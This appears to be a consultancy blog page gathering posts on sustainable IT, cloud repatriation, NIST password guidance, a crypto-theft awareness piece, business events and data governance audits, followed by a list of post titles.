• Brand Enhancement : A strong sustainability reputation can boost customer loyalty, attract eco-conscious talent, and differentiate the business in a crowded market.

• Operational Efficiency : Strategies like energy-efficient programming and sustainable AI practices optimise resource utilisation and improve overall system performance.

• Future-Proof Operations : By embedding sustainability into their IT infrastructure and practices, organisations position themselves to better withstand potential future environmental regulations or supply chain disruptions.

The Green Data Revolution

Cloud Computing's Environmental Impact

The shift to cloud computing represents one of the most significant opportunities for reducing IT-related emissions. Recent studies suggest that cloud migrations can reduce an business's carbon footprint by up to 90% compared to on-premises solutions. This dramatic reduction comes from:

• Optimised Resource Utilisation : Cloud providers' sophisticated load-balancing and resource-sharing capabilities

• Energy-Efficient Infrastructure : Modern hyperscale data centers utilising advanced cooling technologies

• Renewable Energy Integration : Major cloud providers' commitment to 100% renewable energy operations

Smart Infrastructure Management

Organisations are increasingly deploying smart building management systems that leverage IoT sensors and AI to minimise energy consumption.

These systems can:

• Automatically adjust cooling based on server load

• Power down unused systems during off-peak hours

• Predict and prevent energy-wasteful equipment failures

Sustainable Hardware Strategies

Circular IT Asset Management

Forward-thinking companies are adopting circular economy principles in their IT operations:

1. Extended Lifecycle Management

o Implementing predictive maintenance to extend hardware life

o Choosing modular designs that support component-level updates

o Establishing repair programs instead of default replacements

2. E-Waste Reduction

o Creating formal recycling partnerships with certified vendors

o Implementing buy-back programs for end-of-life equipment

o Tracking device lifecycles with blockchain-enabled asset management

3. Sustainable Procurement

o Prioritising vendors with proven environmental credentials

o Selecting energy-efficient equipment with recognised certifications

o Considering refurbished and remanufactured options

Green Software Development

Energy-Efficient Programming

Developers are increasingly considering the environmental impact of their code:

• Efficient Algorithms : Optimising code to reduce computational overhead

• Green Hosting : Selecting environmentally conscious hosting providers

• Resource-Aware Development : Building applications that minimise battery drain and processor usage

Sustainable AI Practices

Organisations are reimagining AI development with sustainability in mind:

• Training models during off-peak energy hours

• Implementing edge computing to reduce data center load

• Using transfer learning to minimise training requirements

Measuring and Reporting Impact

Environmental Metrics

Modern IT departments are adopting comprehensive sustainability metrics:

• Carbon emissions per digital service

• Energy efficiency ratings for data centres

• E-waste reduction and recycling rates

• Water usage effectiveness (WUE)

Reporting Tools

New technologies enable precise tracking of environmental impact:

• Real-time energy monitoring systems

• Carbon footprint calculators for cloud workloads

• Sustainability reporting dashboards

Implementation Roadmap

1. Assessment

o Audit current IT infrastructure

o Identify high-impact opportunities

o Establish baseline metrics

2. Strategy Development

o Set clear sustainability targets

o Align with business objectives

o Develop implementation timeline

3. Execution

o Deploy monitoring tools

o Implement priority initiatives

o Train staff on sustainable practices

4. Continuous Improvement

o Monitor and measure results

o Adjust strategies based on data

o Scale successful initiatives

Looking Ahead

The future of sustainable IT lies in the convergence of environmental responsibility and technological innovation. Organisations that embrace this transformation will not only reduce their environmental impact but also create resilient, future-ready operations. As we move forward, sustainable IT will continue to evolve, offering new opportunities for organisations to lead in environmental stewardship while maintaining technological excellence. By proactively investing in sustainable IT practices, businesses can position themselves for long-term success in an increasingly eco-conscious world.

[Note: Keep updated with the latest sustainable IT practices and regulations as they continue to evolve rapidly in this dynamic field.]

Cloud Repatriation: A Growing Discussion in Tech

Thu, 24 Oct 2024 21:26:28 GMT

Cloud First or Cloud Smart?

The tech industry is witnessing emerging conversations about cloud repatriation - moving workloads away from public cloud services back to on-premises or hybrid infrastructure. While not yet a widespread movement, several high-profile cases have sparked industry-wide discussion about the long-term economics of cloud computing.

Notable Examples and Data Points

37signals, creator of Basecamp and Hey, reported approximately $2 million in savings within their first year of cloud repatriation, projecting up to $10 million in savings over five years
Dropbox completed a significant infrastructure optimisation project, moving away from AWS for core storage needs
A 2023 IDC survey indicated that 71% of organisations have moved applications/data from public clouds back on-premises in some capacity

Key Factors Driving the Discussion

Cost Considerations

Long-term operational expenses in cloud environments
Data transfer costs and egress fees
Resource optimisation challenges
Hardware ownership economics at scale

Technical Factors

Performance requirements for specific workloads
Data sovereignty and compliance needs
Control over infrastructure
Technical expertise and operational capabilities

The Hybrid Reality

Rather than a binary choice between cloud and on-premises, many companies are adopting nuanced approaches:

Keeping performance-sensitive workloads on-premises

Utilising cloud services for burst capacity and specific use cases

Maintaining cloud presence for global reach and disaster recovery

Evaluating workloads individually based on their characteristics

Industry Perspective

The conversation has evolved from "cloud-first" to "cloud-smart" - focusing on strategic placement of workloads based on:

Business requirements
Cost structures
Performance needs
Operational capabilities
Regulatory compliance

Looking Ahead

While cloud repatriation generates significant discussion, it's important to note that:

Public cloud services continue to grow overall
Different businesses have vastly different needs and capabilities
The future likely involves sophisticated hybrid approaches rather than wholesale moves in either direction

This ongoing discussion highlights the maturing of cloud computing as a field, where companies are moving beyond viewing cloud as a default choice to making more nuanced, workload-specific decisions about infrastructure.

Food for Thought

As this conversation continues to evolve, several questions emerge worth considering:

How do you evaluate the true total cost of ownership for cloud versus on-premises infrastructure in your organisation? Are there hidden costs or benefits you've discovered over time?
What workloads in your environment might benefit most from re-evaluation? Are there specific applications or services that consistently challenge your current infrastructure approach?
Looking at your business's growth trajectory, how might your infrastructure needs change in the next 3-5 years? What balance of cloud, on-premises, and hybrid solutions might best serve those needs?
Beyond just costs, what other factors most significantly influence your infrastructure decisions? How do you weigh factors like team expertise, operational complexity, and business agility?

These questions aren't meant to suggest any particular approach is superior, but rather to encourage thoughtful evaluation of how different infrastructure strategies might align with your company's unique context and goals.

$37 Million Crypto Theft via Cyber Intrusion

Mon, 07 Oct 2024 18:20:03 GMT

Cybersecurity Awareness Month: Future-Proofing Your Digital Security Strategy

As digital assets continue to expand, so do the strategies of cybercriminals. In a recent high-profile case, a hacker pleaded guilty to stealing over $37 million in cryptocurrency from nearly 600 victims. This incident makes you realise that in today's digital landscape, businesses need not only to defend against current threats but also to future-proof their security strategies.

As businesses and individuals increasingly adopt digital assets, the importance of strong, resilient cybersecurity frameworks cannot be overstated. According to Cybersecurity Ventures, cybercrime is projected to cost the world $10.5 trillion annually by 2025. However, with the right strategies, businesses can stay ahead of these evolving threats and focus on sustainable growth.

Future-proofing your cybersecurity isn't just about responding to attacks—it's about ensuring your systems are ready for whatever the future may bring. Regular IT audits and the guidance of a virtual Chief Technology Officer (vCTO) can play pivotal roles in securing your digital assets both today and tomorrow.

A vCTO provides strategic technology leadership, helping align your cybersecurity measures with your long-term goals. This proactive approach ensures that you're not just addressing current risks but also building a system that can adapt to new challenges as they emerge.

As you think about the future of your business, consider these questions:

Are your digital assets protected today and prepared for tomorrow's threats?
Do you have a plan in place for addressing vulnerabilities that may arise as your business grows?
Are you compliant with the latest security standards and positioned to meet future regulations?

Future-proofing your cybersecurity strategy isn't about waiting for an incident—it's about building resilience that allows your business to thrive in the face of change. Here are two simple actions you can take right now:

1. Implement multi-factor authentication across all accounts to add an extra layer of security.
2. Review your digital assets and technology roadmap to ensure your security measures align with your long-term vision.

By taking proactive steps today, you can reduce your risk of falling victim to future threats.

You can read the full story here.

https://cybersecuritynews.com/crypto-hacker-pleads-guilty/

#CybersecurityAwarenessMonth #FutureProofing #ITAudit #CyberResilience #DigitalSecurity

NIST: Enhancing Password Security

Mon, 30 Sep 2024 14:14:38 GMT

Understanding NIST's Latest Guidelines

Enhancing Password Security: NIST's Latest Guidelines

Cybersecurity is a constantly evolving field, and staying up-to-date with the latest best practices is both crucial and often challenging. As threats become more sophisticated, organisations must adapt their security measures to protect their valuable data and systems. One key area of focus is password security, where the National Institute of Standards and Technology (NIST) regularly updates its guidelines to help businesses strengthen their security posture. This article is from Cyber Security News 27 September 2024.

In this blog about Cyber Security News's article, we at look at NIST's most recent password security recommendations and explain how you can implement them in your company, helping alleviate some of the headaches associated with managing cybersecurity.

The Evolution of Password Security

Historically, password policies often focused on complexity: requiring a mix of uppercase and lowercase letters, numbers, and special characters. While well-intentioned, these policies sometimes led to user frustration and less secure practices, such as writing down complex passwords or making minor changes when forced to update.

NIST's updated guidelines aim to balance security with usability, resulting in stronger overall protection. Let's explore the key recommendations:

1. Favour Length Over Complexity

NIST Recommendation: Encourage longer passwords (at least 8 characters) without mandating complex rules.

Why it matters: Longer passwords are inherently more secure and often easier for users to remember. By removing strict complexity requirements, users are more likely to create unique, memorable passphrases.

Implementation tip: Educate users on creating strong passphrases. For example, "ILovePizzaWithExtraCheese!" is both long and memorable.

2. Eliminate Periodic Password Changes

NIST Recommendation: Don't force regular password updates unless there's evidence of a breach.

Why it matters: Frequent mandatory changes often lead to weaker passwords or minor variations of the old one.

Implementation tip: Instead of scheduled changes, focus on monitoring for compromised credentials and enforcing changes only when necessary.

3. Implement Multi-Factor Authentication (MFA)

NIST Recommendation: Always enable MFA for an additional layer of security.

Why it matters: MFA significantly reduces the risk of unauthorised access, even if a password is compromised.

Implementation tip: Start with critical systems and gradually roll out MFA across all user accounts. Consider user-friendly options like push notifications or biometrics.

4. Screen Against Common Passwords

NIST Recommendation: Prevent the use of easily guessable or previously compromised passwords.

Why it matters: Many data breaches occur due to weak, commonly used passwords.

Implementation tip: Use a password blacklist that includes dictionary words, repetitive or sequential characters, and passwords exposed in previous breaches.

5. Allow Password Managers

NIST Recommendation: Encourage the use of password managers.

Why it matters: Password managers help users generate and store strong, unique passwords for each account, significantly improving overall security.

Implementation tip: Provide guidance on reputable password manager options and offer training on their use.

6. Implement Secure Password Recovery

NIST Recommendation: Use secure methods for password resets and recovery.

Why it matters: Weak recovery processes can be exploited to gain unauthorised access.

Implementation tip: Implement multi-step verification for password resets, avoiding easily guessable security questions.

Conclusion

By adopting these NIST guidelines, organisations can significantly enhance their password security while improving the user experience. Remember, security is an ongoing process. Regular reviews and updates of your policies help you stay ahead of emerging threats.

As you implement these changes, focus on user education. Help your team understand why these new practices are more secure and how they benefit both the individual and the company.

Looking to strengthen your cybersecurity posture? We’re here to help.

Stay secure! Here are some useful links.

https://cybersecuritynews.com/nist-rules-password-security/

https://csc.gov.im/advice-guidance/multi-factor-authentication-mfa/

https://www.microsoft.com/en-us/research/wp-content/uploads/2016/06/Microsoft_Password_Guidance-1.pdf

#Cybersecurity #PasswordSecurity #NISTGuidelines #InfoSec

Accelerating Digital Transformation with Laserfiche

Tue, 24 Sep 2024 10:06:42 GMT

Laserfiche Showcase

Modern Business

Last week, I had the privilege of attending an enlightening event focused on showcasing the powerful capabilities of Laserfiche in driving digital transformation for businesses. The event, hosted by MBS ( Manx Business Solutions ) at The Comis, offered valuable insights into how Laserfiche can revolutionise business operations.

Laserfiche: A Versatile Integration Platform

One of the standout features emphasised during the event was Laserfiche's remarkable ability to integrate with a wide array of other products. This versatility positions it as a central hub for modern businesses, enabling seamless data flow and process optimisation across various tools and platforms.

Addressing Key Business Challenges

The presentation highlighted how Laserfiche effectively addresses two critical pressures facing businesses today:

Regulatory Compliance: With ever-increasing regulatory requirements, Laserfiche offers robust solutions to help businesses stay compliant effortlessly. Staffing pressures: In an era where efficient resource allocation is crucial, Laserfiche provides tools to streamline operations and enhance productivity.

Driving Digital Transformation

At its core, Laserfiche was presented as a powerful driver of digital transformation. The software's capabilities extend beyond simple document management, offering a comprehensive suite of tools to automate workflows, enhance collaboration, and drive overall operational efficiency.

Real-World Applications

Peter Bruges and Gill Titley delivered insightful talks, demonstrating real-world examples of Laserfiche implementations. These case studies provided valuable insights into how businesses across various sectors have leveraged Laserfiche to overcome challenges and achieve significant improvements in their operations.

Conclusion

The Laserfiche showcase event was truly an eye-opener, revealing the software's potential to be a game-changer in business process management and digital transformation. As organisations continue to navigate the complexities of the modern business landscape, tools like Laserfiche offer a pathway to enhanced efficiency, compliance, and innovation.

Whether you're looking to streamline your operations, ensure regulatory compliance, or drive your company's digital transformation initiative, Laserfiche presents a compelling solution worth exploring. The professional presentation and real-world examples provided at this event made a strong case for its adoption across various industries.

Have you implemented Laserfiche or similar solutions in your business?

Isle of Man Government Conference 2024

Tue, 17 Sep 2024 21:16:34 GMT

Navigating Challenges

The Isle of Man Government Conference 2024 started the day with forward-thinking presentations and insightful discussions, offering a comprehensive look at the island’s economic landscape and its future prospects.

Economic Update: A Realistic Assessment

The conference began with an economic update, providing an assessment of the Isle of Man’s current position. While challenges and shortcomings were acknowledged, the focus remained on opportunities for growth and development.

Travel and Connectivity: Bridging Gaps

A standout session addressed travel and connectivity, two critical factors for an island economy. The Q&A highlighted the need for significant improvements in air and sea connectivity to drive economic growth, attract investment, and make the island more appealing to tourists and a skilled workforce. Both air and sea connectivity were emphasised as essential for the island’s long-term strategic development.

Activating AI: Embracing the Future

The Isle of Man is in the early stages of exploring artificial intelligence (AI), but the conference session on activating AI ignited enthusiasm for its future potential. The discussion focused on the importance of laying the groundwork now to ensure the island is well-positioned to harness AI’s capabilities. Utilising the comprehensive online and in-person training programs offered by Digital Isle of Man , residents and businesses can equip themselves with the necessary knowledge and skills to embrace this transformative technology.

The Isle of Man may be at the start of its AI journey, but with investments in education, infrastructure, and regulation, it can carve out it's niche in this fast-evolving space. Attendees were urged to consider how adopting AI early could enhance productivity and open up new business models, positioning the Isle of Man as a forward-thinking jurisdiction.

Looking Ahead: Challenges and Opportunities

The discussions made it clear that while the Isle of Man has much to be proud of, there is still work to be done to ensure its continued economic viability. Achieving this will require a collective collaboration from both the community and government, delivering on key policies and initiatives that drive long-term growth being the main focus.

Key takeaways include :

1. The need for ongoing adaptation to global economic trends

2. The importance of strategic investments in connectivity and infrastructure

3. The potential of emerging technologies like AI to drive economic growth

4. The value of collaborative efforts between government, business, and community stakeholders

It’s clear that the Isle of Man is taking a proactive approach to addressing its economic challenges. By fostering open dialogue, embracing innovation, and maintaining a realistic yet optimistic outlook, the island is laying the groundwork to navigate the complexities of the global economy and build a prosperous future for all its residents. However, patience and continued effort will be key.

Optimising Data Governance Through Independent IT Audit

looka_production_176055138 — Mon, 16 Sep 2024 18:14:35 GMT

The Current Landscape: Navigating New Challenges and the Value of Independent Audits

As we consider the imperatives of data governance, it's crucial to acknowledge the rapidly evolving landscape shaped by recent technological advancements and regulatory changes. A recent comprehensive guide on data governance ( Stedman, 2024 ) highlights several key points that underscore the urgency and complexity of our current data governance challenges:

Expanding Scope: Data governance now extends beyond traditional structured data to encompass big data environments, cloud platforms, and emerging technologies like AI and machine learning. This expansion requires a more adaptive and comprehensive approach to governance.
Business-Driven Approach: There's a growing recognition that data governance must be business-driven rather than IT-led. As Eric Hirschhorn, CDO at The Bank of New York Mellon Corp., pointed out, "Outcomes can't just be good governance. Outcomes have to be running better businesses."
Regulatory Pressures: With the increasing number of data privacy regulations like GDPR and CCPA, enterprises face mounting pressure to ensure compliant data handling practices.
Self-Service Analytics: The shift towards self-service BI and analytics has created new governance challenges, requiring a balance between data accessibility and responsible use.
AI Governance: Gartner predicts that by 2027, 60% of companies won't realise the expected business value from AI applications due to governance shortcomings, highlighting the need for robust governance in emerging technologies.

In this complex landscape, the role of independent IT audits becomes increasingly vital. These audits serve as a critical tool for organisations striving to maintain robust data governance practices amidst rapid technological change and evolving regulatory requirements.

The Strategic Value of Independent IT Audits

Independent audits provide an unbiased, external perspective that can illuminate blind spots in an organisation's data governance framework. They offer several key benefits:

Objective Assessment : External auditors bring fresh eyes to an firm's data practices, identifying potential vulnerabilities or inefficiencies that might be overlooked internally.
Regulatory Compliance : With the complex web of data protection laws, independent audits help ensure that governance practices align with current regulations, reducing legal and financial risks.
Continuous Improvement : Regular audits create a feedback loop, driving ongoing refinement of data governance strategies and keeping them aligned with industry best practices.
Stakeholder Trust : Demonstrating a commitment to independent audits can boost confidence among customers, partners, and investors in an corporation's data handling practices.
Risk Mitigation : By identifying potential issues before they escalate, audits play a crucial role in preventing data breaches and other data-related crises.

Integrating Audits into Your Data Governance Strategy

Forward-thinking organisations are increasingly viewing independent IT audits not just as a periodic necessity, but as an integral part of their data governance strategy. Here's how leaders can leverage audits for maximum impact:

Proactive Approach : Don't wait for problems to arise. Regular, scheduled audits can help identify and address issues before they become critical.
Broad Scope : Ensure audits cover not just technical aspects, but also organisational processes, employee training, and cultural factors that influence data governance.
Action-Oriented Results : Use audit findings as a springboard for targeted improvements in your data governance framework.
Cross-Functional Involvement : Involve stakeholders from various departments in the audit process to foster a culture of shared responsibility for data governance.

As leaders, we must recognise that data governance is no longer just about risk mitigation—it's a strategic imperative for unlocking the true value of our data assets. By fostering a culture of data stewardship, leveraging advanced technologies, aligning governance with business outcomes, and embracing the insights provided by independent audits, we can transform data governance from a necessary burden into a powerful competitive advantage.

In this rapidly changing landscape, businesses that excel in data governance will be best positioned to drive innovation, make informed decisions, and build stakeholder trust. It's our responsibility to champion this cause, ensuring that good data governance, supported by rigorous independent audits, becomes the bedrock of truly data-driven organisations in this new era of data management.

Fantastic Networking Opportunity

looka_production_176055138 — Tue, 10 Sep 2024 14:04:34 GMT

#WellConnected

Another fantastic networking opportunity with the Liverpool Chamber today! The event at Gusto Italian on the iconic Royal Albert Dock was a great success.

We enjoyed perfect weather while connecting with fellow professionals and making valuable new contacts. The picturesque waterfront setting provided an inspiring backdrop for meaningful conversations.

The morning featured a series of informative talks over coffee, providing valuable industry updates and business insights. A particularly moving presentation came from the charity Diversity Role Models . Their impactful work truly resonated with us. Bullying and some of the reasons of bullying still existing in schools today.

Concluded the morning with a productive working lunch, allowing us to continue our discussions in Gusto's stylish surroundings. Events like these truly showcase Liverpool's vibrant business community and world-class hospitality.

Looking forward to putting these new connections into action. Thanks to the Chamber and Gusto for hosting!

#WellConnected

Taylored Solutions Blog

Exploring AI [8]

The Ins and Outs of Data Sovereignty

Women in STEM - Saint Hildegard of Bingen

A 12th Century Polymath exploring medicine, music, nature and the cosmos

Securing AI

Why Cyber Security Thinking Needs To Evolve

What a Virtual/Fractional CTO Really Does

And Why Your Business Wants One (more that you think)

Women in STEM - Trota of Salerno

Trota and Trotula

Cyberisle 2025

A Wake Up Call For Businesses

Inside InvestAI

How Europe Plans to Close the Global AI Gap

Microsoft 11 and The Electronic Waste The Earth Cannot Afford

Tech and Forced Obsolescence

Think Global, Impact Local

Liverpool Chamber #wellconnected and BITA Networking Lunch

Exploring Artificial Intelligence [7]

ELIZA and the Birth of the “ELIZA Effect”

﻿ How a 1960s chatbot reflects the way we respond to AI today

Weekend Cyber Attacks Can Ruin Your Monday

Monday’s aren’t generally the best days but a weekend cyber attack Monday?

That is a different Monday altogether.

Exploring Artificial Intellienge [6]

The Illusion of Intelligence

Women in STEM - Hypatia

The First Women of Mathematics, Philosophy and Astronomy

Google v UK Competition and Markets Authority (CMA)

Is how we use google about to change?

Remote Working

Staying Safe on Public Wi-Fi

Exploring Artificial Intelligence [5]

Bias within AI

Bias in AI is both a technical issue and a societal mirror. Following on from my last post in the Exploring AI series , where I shared my own thoughts, questions, and what I’d been learning, this article goes deeper into one of the most urgent challenges in today’s AI sphere.

The Main Concerns

Understanding Bias in AI

Programming Bias Out vs. Teaching What Went Wrong

A Century in Perspective: Values Change

Real-World Examples of AI Bias

Facial Recognition and Invisibility

Language Models and Cultural Representation

Women’s Health and Hidden Censorship

How Different Cultures Impact AI Training Data

Diverse Perspectives on Solutions

Where Do We Go From Here?

Join the Conversation

Further Reading & Resources

The Economic Paradox of the Fully Automated Workforce

So we automated the jobs. Now what..?

What Happens When the Machines Take Over — But the Markets Stay Human?

The Promise of Automation

Where Are We Now?

The Economic Paradox

Multiple Paths Forward

�� Classical Economic Thinking: A Keynesian Response

�� The Capital Ownership Debate

�� Speculative Models: Personal AGI Agents

What We Know, and What We Don’t

Why This Matters for Businesses

Designing Ethically. Acting Responsibly. Listening Always.

Final Thought

Sources for Further Reading:

Book Review - Leading with Intention - Stephen R. Covey’s The 7 Habits of Highly Effective People

Discover how Stephen R. Covey’s timeless leadership book The 7 Habits of Highly Effective People influences strategic thinking and client engagement at Taylored Solutions, from proactive IT planning to trust-based consultancy.

Women In STEM Marie Curie - A Radioactive Legacy

Marie Curie

When IT Goes Wrong

It’s Not Just Cybersecurity That Costs You

Exploring Artificial Intelligence [4]

A Non Tech Perspective ﻿

Women In STEM - Ada Lovelace

Ada Lovelace: The Enchantress of Numbers

"The Analytical Engine has no pretensions whatever to originate anything. It can do whatever we know how to order it to perform" Ada Lovelace.

Exploring Artificial Intelligence [3]

Ethical AI in Business

Women In STEM - Grace Hopper

Women in Tech Spotlight: The Remarkable Grace Hopper

Exploring Artificial Intelligence [2]

How a 1960s chatbot reflects the way we respond to AI today

A Non Tech Perspective

Navigating Challenges